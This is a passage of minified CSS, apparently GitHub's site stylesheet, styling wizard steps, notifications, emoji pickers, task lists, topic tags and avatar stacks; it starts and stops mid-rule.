1 auto;color:var(--color-fg-muted)}.wizard-step-icon{display:none;height:96px;color:var(--color-accent-fg);background-image:linear-gradient(to right, var(--color-accent-subtle), var(--color-canvas-default));justify-content:center;align-items:center;border-top-left-radius:6px;border-top-right-radius:6px}.wizard-step[data-single-page-wizard-step-complete=true] .wizard-step-badge{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.wizard-step[data-single-page-wizard-step-complete=true] .wizard-step-item::before{background-color:var(--color-accent-emphasis)}.wizard-step[data-single-page-wizard-step-complete=true] .wizard-step-title{color:var(--color-fg-default)}.wizard-step[data-single-page-wizard-last-step=true] .wizard-step-badge .wizard-step-check{display:block;color:var(--color-fg-on-emphasis)}.wizard-step[data-single-page-wizard-last-step=true] .wizard-step-item::before{top:0;display:block;height:16px}@media(min-width: 768px){.wizard-step[data-single-page-wizard-last-step=true] .wizard-step-item::before{display:none}}.wizard-step[data-single-page-wizard-last-step=true] .wizard-step-icon{color:var(--color-success-fg);background-image:linear-gradient(to right, var(--color-success-subtle), var(--color-canvas-default))}.wizard-step:not([data-single-page-wizard-last-step=true]) .wizard-step-badge .wizard-step-check{display:none}.wizard-step:not([data-single-page-wizard-last-step=true]) .wizard-step-badge::before{color:var(--color-fg-on-emphasis);content:attr(data-single-page-wizard-step)}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-badge{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.wizard-step[data-single-page-wizard-step-current=true][data-single-page-wizard-last-step=true] .wizard-step-badge{background-color:var(--color-success-emphasis)}.wizard-step[data-single-page-wizard-step-current=true][data-single-page-wizard-last-step=true] .wizard-step-item::before{top:42px;height:16px}.wizard-step[data-single-page-wizard-step-current=true][data-single-page-wizard-last-step=true] .wizard-step-container-icon::after{background-image:linear-gradient(var(--color-success-subtle), var(--color-success-subtle))}.wizard-step[data-single-page-wizard-step-current=true]:not([data-single-page-wizard-last-step=true]) .wizard-step-container-icon::after{background-image:linear-gradient(var(--color-accent-subtle), var(--color-accent-subtle))}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-icon{display:flex}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-item{flex-direction:column}@media(min-width: 768px){.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-item{flex-direction:row}}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-body{margin-top:16px;margin-left:-16px}@media(min-width: 768px){.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-body{margin-top:0;margin-left:0}}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container{position:relative;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::after,.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::before{background-color:var(--color-border-default)}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::before,.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::after{transform:rotate(90deg)}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::before{position:absolute;top:-12px;right:100%;left:12px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::after{top:-10px;left:11px}@media(min-width: 768px){.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::before,.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::after{top:11px;left:-8px;transform:rotate(0)}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::after{margin-left:1px}}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container .wizard-step-header{display:none}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container .wizard-step-content-header{margin-bottom:16px}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container .wizard-step-title{color:var(--color-fg-default)}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container .wizard-step-content{display:block}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-buttons{display:flex}.alert-label{color:var(--color-fg-on-emphasis)}.graph-canvas .alert-label--critical{fill:var(--color-danger-emphasis)}.graph-canvas .alert-label--high{fill:var(--color-severe-emphasis)}.graph-canvas .alert-label--moderate{fill:var(--color-attention-emphasis)}.graph-canvas .alert-label--low{fill:var(--color-neutral-emphasis)}.advisory-form{background-color:var(--color-canvas-subtle);border-top:1px solid var(--color-border-default)}.advisory-form .form-control{background-color:var(--color-canvas-default)}.advisory-form .form-actions{background-color:var(--color-canvas-default)}.advisory-form .previewable-comment-form{background-color:var(--color-canvas-default)}.advisory-credit-window-min{min-height:72px}.advisory-credit-window-max{max-height:370px}[data-target="animated-image.originalImage"],[data-target="animated-image.replacedImage"],[data-a11y-animated-images=system] [data-animated-image],[data-a11y-animated-images=disabled] [data-animated-image]{display:none}animated-image[data-catalyst]{display:inline-block}.AnimatedImagePlayer{position:relative;display:inline-block;width:100%}.AnimatedImagePlayer>a:not(.AnimatedImagePlayer-images){display:none}.AnimatedImagePlayer-controls{position:absolute;top:8px;right:8px;z-index:2;display:none;padding:4px;list-style:none;background:var(--color-canvas-default);border-radius:6px;box-shadow:var(--color-overlay-shadow);opacity:1;transition:opacity 80ms linear}.AnimatedImagePlayer-images .AnimatedImagePlayer-animatedImage{cursor:pointer}.AnimatedImagePlayer-button{display:flex;align-items:center;justify-content:center;width:32px;height:32px;cursor:pointer;background-color:var(--color-canvas-default);border:0;border-radius:6px}@media(hover: hover)and (pointer: fine){.AnimatedImagePlayer-button:hover{background-color:var(--color-btn-hover-bg);transition:background-color 200ms linear}}.AnimatedImagePlayer-images{display:block;width:100%;padding:0;margin:0;background:none;border:0;outline:none;outline-offset:0}.AnimatedImagePlayer-images:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:0}.AnimatedImagePlayer-button:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px}.AnimatedImagePlayer-button svg{width:16px;height:16px;pointer-events:none;fill:var(--color-fg-muted)}.AnimatedImagePlayer-button:hover svg{fill:var(--color-fg-default)}.AnimatedImagePlayer-stillImage{position:absolute;top:0;left:0;z-index:1;display:none;width:100%;height:100%;pointer-events:none}.AnimatedImagePlayer-animatedImage{width:100%;max-width:100%;max-height:100%}.AnimatedImagePlayer.playing .AnimatedImagePlayer-controls{opacity:0;transition-delay:1s}.AnimatedImagePlayer.enabled .AnimatedImagePlayer-animatedImage{opacity:0 !important}.AnimatedImagePlayer.enabled.playing .AnimatedImagePlayer-animatedImage{opacity:1 !important}.AnimatedImagePlayer.playing.player-focused .AnimatedImagePlayer-controls{opacity:1;transition-delay:0ms}@media(hover: hover)and (pointer: fine){.AnimatedImagePlayer.playing:hover .AnimatedImagePlayer-controls{opacity:1;transition-delay:0s}}.AnimatedImagePlayer.enabled.playing .AnimatedImagePlayer-stillImage,.AnimatedImagePlayer.enabled.playing .icon-play,.AnimatedImagePlayer .icon-pause{display:none}.AnimatedImagePlayer .icon-play,.AnimatedImagePlayer.enabled.playing .icon-pause,.AnimatedImagePlayer.enabled .AnimatedImagePlayer-stillImage{display:block}.AnimatedImagePlayer.enabled .AnimatedImagePlayer-controls{display:flex}.emoji-tab.UnderlineNav-item{margin-right:4px}.emoji-tab[role=tab][aria-selected=true]{font-weight:600;color:var(--color-fg-default);border-bottom-color:var(--color-severe-emphasis)}.emoji-tab[role=tab][aria-selected=true] .UnderlineNav-octicon{color:var(--color-fg-muted)}.selected-emoji{z-index:100;background-color:var(--color-accent-emphasis)}.emoji-picker-container .emoji-picker-tab g-emoji{margin-right:auto;margin-left:4px}.emoji-tab .emoji-icon{width:auto}.emoji-picker-container{z-index:1;width:395px}.emoji-picker-tab{height:136px;padding-top:8px}.emoji-picker-emoji-width{width:32px;height:28px}.emoji-picker-tab .btn-outline:not(:hover){background-color:transparent}.emoji-picker-list{list-style:none}.notification-shelf{z-index:34}.notification-shelf.is-stuck{z-index:999}@media(max-width: 767px){.notifications-v2 .commit-ref .css-truncate-target{word-break:break-all;white-space:normal}}@media(max-width: 543px){.notifications-v2 .Box{border-right:0;border-left:0;border-radius:0}}@media(max-width: 543px){.notifications-v2 .Box .Box-header{border-right:0 !important;border-left:0 !important;border-radius:0 !important}}@media(max-width: 767px){.notifications-v2 .AvatarStack--right{width:auto !important;min-width:auto !important;margin-left:53px !important}}@media(max-width: 767px){.notifications-v2 .AvatarStack--right .AvatarStack-body{position:relative !important;right:unset !important;margin-right:8px;flex-direction:row !important}}@media(max-width: 767px){.notifications-v2 .AvatarStack-body .avatar{position:relative !important;margin-right:-12px !important;margin-left:0 !important;border-right:1px solid #fff !important;border-left:0 !important}}.notifications-v2 .thread-subscription-status{background-color:transparent !important}.notifications-v2 .notification-action-mark-archived,.notifications-v2 .notification-action-mark-unread,.notifications-v2 .notification-action-star,.notifications-v2 .notification-action-unsubscribe{display:block !important}.notifications-v2 .notification-action-mark-read,.notifications-v2 .notification-action-mark-unarchived,.notifications-v2 .notification-action-subscribe,.notifications-v2 .notification-action-unstar,.notifications-v2 .notification-is-starred-icon{display:none !important}.notifications-v2 .notification-unsubscribed .notification-action-unsubscribe{display:none !important}.notifications-v2 .notification-unsubscribed .notification-action-subscribe{display:block !important}.notifications-v2 .notification-unread .notification-action-mark-read{display:block !important}.notifications-v2 .notification-unread .notification-action-mark-unread{display:none !important}.notifications-v2 .notification-archived .notification-action-mark-archived,.notifications-v2 .notification-archived .notification-action-mark-read,.notifications-v2 .notification-archived .notification-action-mark-unread{display:none !important}.notifications-v2 .notification-archived .notification-action-mark-unarchived{display:block !important}.notifications-v2 .notification-starred .notification-action-star{display:none !important}.notifications-v2 .notification-starred .notification-is-starred-icon{display:inline-block !important}.notifications-v2 .notification-starred .notification-action-unstar{display:block !important}.notifications-v2 .thread-subscribe-form{display:none !important}.notifications .read .avatar img{opacity:.5}.notifications .read .undo{display:block}.notifications .read .delete{visibility:hidden}.notifications .read[aria-selected=true],.notifications .read.navigation-focus{background-color:#f5f9fc}.notifications .muted .unmute{display:block}.notifications .muted .mute{display:none}.notifications .unmute{display:none}.notifications-list{float:left;width:100%}.thread-subscription-status{padding:8px;margin:40px 0 16px;color:var(--color-fg-muted);border:1px solid var(--color-border-default);border-radius:6px}.thread-subscription-status .btn-sm>.octicon{margin-right:1px}.thread-subscription-status .reason{display:inline-block;margin:0 8px;vertical-align:middle}.thread-subscription-status .thread-subscribe-form{display:inline-block;vertical-align:middle}.subscription .loading{opacity:.5}.progress-pjax-loader{z-index:99999;height:2px !important;background:transparent;opacity:0;transition:opacity .4s linear .4s}.progress-pjax-loader.is-loading{opacity:1;transition:none}.progress-pjax-loader>.progress-pjax-loader-bar{background-color:#79b8ff;transition:width .4s ease}.starred .starred-button-icon{color:var(--color-scale-yellow-2)}.user-lists-menu-action{color:var(--color-fg-default)}.user-lists-menu-action:hover:not(:disabled){color:var(--color-fg-default);background-color:var(--color-canvas-subtle)}.user-lists-menu-action:focus:not(:disabled){color:var(--color-fg-default);outline:2px solid var(--color-accent-emphasis);outline-offset:2px}.starring-container .BtnGroup-parent:active{z-index:auto}.shelf{padding-top:16px;margin-bottom:16px;background-color:var(--color-canvas-default);border-bottom:1px solid var(--color-border-muted)}.shelf .container{position:relative}.org-sso,.business-sso{width:340px;margin:0 auto}.org-sso .sso-title,.business-sso .sso-title{font-size:24px;font-weight:300;letter-spacing:-0.5px}.org-sso .org-sso-panel,.org-sso .business-sso-panel,.business-sso .org-sso-panel,.business-sso .business-sso-panel{padding:16px;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px}.org-sso .sso-recovery-callout,.business-sso .sso-recovery-callout{padding:16px 8px;text-align:center;border:1px solid var(--color-border-muted);border-radius:6px}.sso-modal{padding:16px}.sso-modal .org-sso,.sso-modal .business-sso{width:auto}.sso-modal .org-sso .org-sso-panel,.sso-modal .business-sso .business-sso-panel{border:0}.sso-modal .sso-prompt-success,.sso-modal .sso-prompt-error{display:none}.sso-modal.success .sso-prompt-default{display:none}.sso-modal.success .sso-prompt-success{display:block}.sso-modal.error .sso-prompt-default{display:none}.sso-modal.error .sso-prompt-error{display:block}.sso-modal.error .flash-error{margin-right:-32px;margin-left:-32px;border-right:0;border-left:0;border-radius:0}.tag-input-container{position:relative}.tag-input-container .suggester{position:absolute;z-index:100;width:100%;margin-top:-1px}.tag-input-container ul{list-style:none}.tag-input input{float:left;padding-left:2px;margin:0;background:none;border:0;box-shadow:none}.tag-input input:focus{box-shadow:none}.task-list-item{list-style-type:none}.task-list-item label{font-weight:400}.task-list-item.enabled label{cursor:pointer}.task-list-item+.task-list-item{margin-top:4px}.task-list-item .handle{display:none}.task-list-item-checkbox{margin:0 .2em .25em -1.6em;vertical-align:middle}.contains-task-list:dir(rtl) .task-list-item-checkbox{margin:0 -1.6em .25em .2em}.convert-to-issue-button{top:2px;right:4px;padding:0 2px;margin-right:8px;-webkit-user-select:none;user-select:none;background-color:var(--color-canvas-subtle)}.convert-to-issue-button .octicon{fill:var(--color-fg-default)}.convert-to-issue-button:hover .octicon,.convert-to-issue-button:focus .octicon{fill:var(--color-accent-fg)}.reorderable-task-lists .markdown-body .contains-task-list{padding:0}.reorderable-task-lists .markdown-body li:not(.task-list-item){margin-left:24px}.reorderable-task-lists .markdown-body ol:not(.contains-task-list) li,.reorderable-task-lists .markdown-body ul:not(.contains-task-list) li{margin-left:0}.reorderable-task-lists .markdown-body .task-list-item{padding:2px 15px 2px 42px;margin-right:-15px;margin-left:-15px;line-height:1.5;border:0}.reorderable-task-lists .markdown-body .task-list-item+.task-list-item{margin-top:0}.reorderable-task-lists .markdown-body .task-list-item .handle{display:block;float:left;width:20px;padding:2px 0 0 2px;margin-left:-43px;opacity:0}.reorderable-task-lists .markdown-body .task-list-item .drag-handle{fill:var(--color-fg-default)}.reorderable-task-lists .markdown-body .task-list-item.hovered>.handle{opacity:1}.reorderable-task-lists .markdown-body .task-list-item.is-dragging{opacity:0}.reorderable-task-lists .markdown-body .contains-task-list:dir(rtl) .task-list-item{margin-right:0}.comment-body .reference{font-weight:600;white-space:nowrap}.comment-body .issue-link{white-space:normal}.comment-body .issue-link .issue-shorthand{font-weight:400;color:var(--color-fg-muted)}.comment-body .issue-link:hover .issue-shorthand,.comment-body .issue-link:focus .issue-shorthand{color:var(--color-accent-fg)}.review-comment-contents .markdown-body .task-list-item{padding-left:42px;margin-right:-12px;margin-left:-12px;border-top-left-radius:6px;border-bottom-left-radius:6px}.convert-to-issue-enabled .task-list-item .contains-task-list{padding:4px 15px 0 43px;margin:0 -15px 0 -42px}.convert-to-issue-enabled .task-list-item.hovered{background-color:var(--color-canvas-subtle)}.convert-to-issue-enabled .task-list-item.hovered .contains-task-list{background-color:var(--color-canvas-default)}.convert-to-issue-enabled .task-list-item.hovered>.convert-to-issue-button{z-index:20;width:auto;height:auto;overflow:visible;clip:auto}.convert-to-issue-enabled .task-list-item.hovered>.convert-to-issue-button svg{overflow:visible}.convert-to-issue-enabled .task-list-item.is-loading{color:var(--color-fg-muted);background-color:var(--color-accent-subtle);border-top:1px solid var(--color-accent-subtle);border-bottom:1px solid var(--color-canvas-default);border-left:1px solid var(--color-canvas-default)}.convert-to-issue-enabled .task-list-item.is-loading ul{color:var(--color-fg-default);background-color:var(--color-canvas-default)}.convert-to-issue-enabled .task-list-item.is-loading>.handle{opacity:0}.toolbar-commenting .dropdown-menu-s{width:100px}.toolbar-commenting .dropdown-item{font-weight:600;line-height:1em;background:none;border:0}.toolbar-commenting .dropdown-item:hover{color:var(--color-accent-fg)}.toolbar-commenting .dropdown-item:focus{color:var(--color-accent-fg);outline:none}.toolbar-item{display:block;float:left;padding:4px;cursor:pointer}.toolbar-item.dropdown,.toolbar-item.select-menu{padding:0}.toolbar-item .select-menu-modal{margin-top:2px}.toolbar-item .select-menu-item{padding-left:8px}.topic-tag{display:inline-block;padding:.3em .9em;margin:0 .5em .5em 0;white-space:nowrap;background-color:var(--color-accent-subtle);border-radius:6px}.topic-tag-link:hover{text-decoration:none;background-color:#def}.delete-topic-button,.delete-topic-link{display:inline-block;width:26px;color:var(--color-fg-muted);background-color:var(--color-accent-subtle);border-top:0;border-right:0;border-bottom:0;border-left:1px solid #b4d9ff;border-top-right-radius:6px;border-bottom-right-radius:6px}.delete-topic-button:hover,.delete-topic-link:hover{background-color:#def}.topic-tag-action:hover .delete-topic-link{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.topic-tag-outline{background:transparent;box-shadow:inset 0 0 0 1px #c8e1ff}.delete-topic-link{padding-right:8px;padding-left:8px;margin-left:8px;line-height:1.75}.delete-topic-link:hover{text-decoration:none}.invalid-topic .delete-topic-button{color:var(--color-fg-default);background-color:var(--color-danger-subtle);border-left-color:var(--color-danger-emphasis)}.invalid-topic .delete-topic-button:hover{background-color:#ffc8ce}.topic-tag-action{display:inline-flex;align-items:center;padding-left:.8em;margin:.4em .4em 0 0;background-color:var(--color-accent-subtle);border-radius:6px}.topic-tag-action.invalid-topic{color:var(--color-fg-default);background-color:var(--color-danger-subtle);border-color:var(--color-danger-emphasis)}.topic-tag-action .add-topic-button,.topic-tag-action .remove-topic-button{display:inline-block;width:26px;font-size:14px;color:var(--color-fg-muted);background-color:var(--color-accent-subtle);border-top:0;border-right:0;border-bottom:0;border-left:1px solid #b4d9ff}.topic-tag-action .add-topic-button:hover,.topic-tag-action .remove-topic-button:hover{color:var(--color-fg-on-emphasis)}.topic-tag-action .add-topic-button:hover{background-color:var(--color-success-emphasis)}.topic-tag-action .remove-topic-button{border-right:0;border-top-right-radius:6px;border-bottom-right-radius:6px}.topic-tag-action .remove-topic-button:hover{background-color:var(--color-danger-emphasis)}.topic-input-container .tag-input{width:908px;cursor:text}.topic-input-container .tag-input.org-repo-tag-input{width:100%}.topic-input-container .tag-input .tag-input-inner{min-height:26px;background-image:none}.topic-input-container .topic-tag{margin-top:2px}.topic .css-truncate-target{max-width:75%}.topic-list .topic-list-item+.topic-list-item{border-top:1px solid var(--color-border-default)}.topic-box .starred{color:var(--color-attention-fg);border:0}.topic-box .unstarred{color:var(--color-fg-muted);border:0}.user-status-suggestions{height:98px;transition:height 100ms ease-out,opacity 200ms ease-in}.user-status-suggestions.collapsed{height:0;opacity:0}.user-status-container,.user-status-container .team-mention,.user-status-container .user-mention{white-space:normal}.user-status-container{word-break:break-word;word-wrap:break-word}.user-status-container .input-group-button .btn{width:46px;height:34px;line-height:0}.user-status-container .input-group-button g-emoji{font-size:1.3em;line-height:18px}.user-status-container .team-mention,.user-status-container .user-mention{white-space:normal}.user-status-container img.emoji{width:18px;height:18px}.emoji-status-width{width:20px}.user-status-org-button .user-status-org-detail{color:var(--color-fg-muted)}.user-status-org-button:hover .user-status-org-detail,.user-status-org-button:focus .user-status-org-detail{color:var(--color-fg-on-emphasis)}.user-status-org-button.selected{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.user-status-org-button.selected .user-status-org-detail{color:var(--color-fg-on-emphasis)}.user-status-limited-availability-compact{width:8px;height:8px;background-color:var(--color-attention-emphasis)}.user-status-message-wrapper{color:var(--color-fg-default)}.toggle-user-status-edit:hover .user-status-message-wrapper,.toggle-user-status-edit:focus .user-status-message-wrapper{color:var(--color-accent-fg)}.user-status-message-wrapper div{display:inline}.user-status-header g-emoji{font-size:1.25em}.user-status-message-wrapper .g-emoji{display:inline-block}.user-status-limited-availability-container{margin-top:16px;margin-bottom:16px}@media only screen and (max-height: 560px){.user-status-suggestions{display:none}.user-status-limited-availability-container{margin-top:8px;margin-bottom:8px}}.user-status-circle-badge{background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:2em;box-shadow:var(--color-shadow-small)}.command-palette{box-shadow:var(--color-overlay-shadow)}@media(min-width: 768px){.command-palette-details-dialog{width:512px}}@media(min-width: 1012px){.command-palette-details-dialog{width:640px}}@media(min-width: 1280px){.command-palette-details-dialog{width:720px}}.page-stack-transition-height{overflow-y:scroll;transition-timing-function:cubic-bezier(0.25, 0.46, 0.45, 0.94);transition-duration:.2s;transition-property:max-height,min-height}.page-stack-transition-height.no-transition{transition-duration:0s}.command-palette-input-group{position:relative;z-index:0;padding-left:0;color:var(--color-fg-subtle)}.command-palette-input-group .no-focus-indicator:focus,.command-palette-input-group .no-focus-indicator:focus-visible{border:0 !important;outline:none !important}.command-palette-input-group .command-palette-typeahead{position:absolute;z-index:1;padding:inherit;pointer-events:none}.command-palette-input-group .command-palette-typeahead .typeahead-segment{white-space:pre}.command-palette-input-group .command-palette-typeahead .typeahead-segment.input-mirror{opacity:0}.command-palette-input-group .typeahead-input{padding:inherit}.command-palette-input-clear-button{color:var(--color-fg-subtle)}.command-palette-input-clear-button:hover{color:var(--color-fg-muted)}themed-picture{visibility:hidden}.is-auto-complete-loading :not(input).form-control{padding-right:0;background-image:none}.ActionMenu{position:absolute;z-index:999;display:none;background-color:var(--color-canvas-overlay)}@media(min-width: 1012px){.hx_actions-sidebar{max-width:320px}}.hx_anim-fade-out{animation-name:hx-fade-out;animation-duration:1s;animation-fill-mode:forwards;animation-timing-function:ease-out}@keyframes hx-fade-out{0%{opacity:1}100%{opacity:0}}.AvatarStack--large{min-width:44px;height:32px}.AvatarStack--large.AvatarStack--two{min-width:48px}.AvatarStack--large.AvatarStack--three-plus{min-width:52px}.AvatarStack--large .AvatarStack-body .avatar{width:32px;height:32px;margin-right:-28px}.AvatarStack--large .AvatarStack-body:hover .avatar{margin-right:4px}.AvatarStack--large .avatar.avatar-more::before{width:32px}.AvatarStack--large .avatar.avatar-more::after{width:30px}.AvatarStack--large .avatar.avatar-more::after,.AvatarStack--large .avatar.avatar-more::before{height:32px}.hx_avatar_stack_commit .AvatarStack{min-width:24px;height:24px}.hx_avatar_stack_commit .AvatarStack .avatar{width:24px;height:24px}.hx_avatar_stack_commit .AvatarStack.AvatarStack--two{min-width:40px}.hx_avatar_stack_commit .AvatarStack.AvatarStack--three-plus{min-width:44px}.hx_flex-avatar-stack{display:flex;align-items:center}.hx_flex-avatar-stack-item{min-width:0;max-width:24px}.hx_flex-avatar-stack-item .avatar{display:block;background-color:var(--color-canvas-default);border:2px solid var(--color-canvas-default);box-shadow:none}.hx_flex-avatar-stack-item:last-of-type{flex-shrink:0;max-width:none}.Box-row--focus-gray.navigation-focus .AvatarStack-body{background-color:var(--color-canvas-subtle)}.AvatarStack-body:not(:hover){background-color:transparent}.AvatarStack--three-plus.AvatarStack--three-plus .avatar-more{display:none}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body .avatar:nth-child(n+4){display:flex;opacity:1}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover) .avatar:nth-of-type(n + 6){display:none;opacity:0}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body>.avatar:nth-of-type(1){z-index:5}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body>.avatar:nth-of-type(2){z-index:4}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body>.avatar:nth-of-type(3){z-index:3}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body>.avatar:nth-of-type(4){z-index:2}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body>.avatar:nth-of-type(5){z-index:1}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more+.avatar:nth-of-type(3) img{opacity:.5}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(4) img{opacity:.33}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(5) img{opacity:.25}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more+.avatar:nth-of-type(3){margin-right:0;margin-left:-6px}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(4){margin-right:0;margin-left:-18px}.AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(5){margin-right:0;margin-left:-18px}.AvatarStack--three-plus.AvatarStack--three-plus.AvatarStack--right .AvatarStack-body:not(:hover)>.avatar-more+.avatar:nth-of-type(3){margin-right:-6px;margin-left:0}.AvatarStack--three-plus.AvatarStack--three-plus.AvatarStack--right .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(4){margin-right:-18px;margin-left:0}.AvatarStack--three-plus.AvatarStack--three-plus.AvatarStack--right .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(5){margin-right:-18px;margin-left:0}.AvatarStack--three-plus.AvatarStack--three-plus.AvatarStack--large .AvatarStack-body:not(:hover)>.avatar-more+.avatar:nth-of-type(3){margin-right:0;margin-left:-2px}.AvatarStack--three-plus.AvatarStack--three-plus.AvatarStack--large .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(4){margin-right:0;margin-left:-30px}.AvatarStack--three-plus.AvatarStack--three-plus.AvatarStack--large .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(5){margin-right:0;margin-left:-30px}.hx_avatar_stack_commit .AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more+.avatar:nth-of-type(3){margin-right:0;margin-left:-10px}.hx_avatar_stack_commit .AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(4){margin-right:0;margin-left:-21px}.hx_avatar_stack_commit .AvatarStack--three-plus.AvatarStack--three-plus .AvatarStack-body:not(:hover)>.avatar-more~.avatar:nth-of-type(5){margin-right:0;margin-left:-21px}.hx_badge-search-container{cursor:text}.hx_badge-search-container .hx_badge-input{border:0;outline:0;box-shadow:none}.hx_badge-search-container .hx_badge-input:focus{border:0 !important;box-shadow:none !important}.hx_badge-search-container .hx_badge-input::placeholder{font-size:12px}.hx_badge-search-container .hx_badge-input-inline{height:30px}.hx_badge{cursor:pointer}.hx_badge[aria-pressed=true]{color:var(--color-fg-on-emphasis) !important;background-color:var(--color-accent-emphasis) !important;border-color:var(--color-accent-emphasis) !important}.hx_Box--firstRowRounded0 .Box-row:first-of-type{border-top-left-radius:0;border-top-right-radius:0}.Box-row:first-of-type{border-top-color:transparent}.hx_Box-row--with-top-border:first-of-type{border-top-color:inherit}.Box--overlay [data-close-dialog],.Box-overlay--narrow [data-close-dialog],.Box-overlay--wide [data-close-dialog]{z-index:1}.dropdown-item.btn-link:disabled,.dropdown-item.btn-link:disabled:hover,.dropdown-item.btn-link[aria-disabled=true],.dropdown-item.btn-link[aria-disabled=true]:hover{background-color:transparent}@media(hover: hover){.hx_menuitem--focus{background-color:var(--color-canvas-subtle)}}@media(-webkit-min-device-pixel-ratio: 2)and (-webkit-min-device-pixel-ratio: 0), (-webkit-min-device-pixel-ratio: 2)and (min-resolution: 0.001dpcm){g-emoji{font-size:1.25em}}.hx_create-pr-button:hover{border-right-width:0}.hx_create-pr-button:hover+.BtnGroup-parent .BtnGroup-item{border-left-width:1px}summary[type=button].btn{-webkit-appearance:none;appearance:none}.form-control:-webkit-autofill{box-shadow:inset 0 0 0 32px var(--color-canvas-default) !important;-webkit-text-fill-color:var(--color-fg-default)}.form-control:-webkit-autofill:focus{box-shadow:inset 0 0 0 32px var(--color-canvas-default),var(--color-primer-shadow-focus) !important}::-webkit-calendar-picker-indicator{filter:invert(50%)}[data-color-mode=light][data-light-theme*=dark] ::selection,[data-color-mode=dark][data-dark-theme*=dark] ::selection{background-color:var(--color-accent-muted)}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark] ::selection{background-color:var(--color-accent-muted)}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark] ::selection{background-color:var(--color-accent-muted)}}[data-color-mode=light][data-light-theme*=dark],[data-color-mode=dark][data-dark-theme*=dark]{--color-workflow-card-connector:var(--color-scale-gray-5);--color-workflow-card-connector-bg:var(--color-scale-gray-5);--color-workflow-card-connector-inactive:var(--color-border-default);--color-workflow-card-connector-inactive-bg:var(--color-border-default);--color-workflow-card-connector-highlight:var(--color-scale-blue-5);--color-workflow-card-connector-highlight-bg:var(--color-scale-blue-5);--color-workflow-card-bg:var(--color-scale-gray-7);--color-workflow-card-inactive-bg:var(--color-canvas-inset);--color-workflow-card-header-shadow:rgba(27, 31, 35, 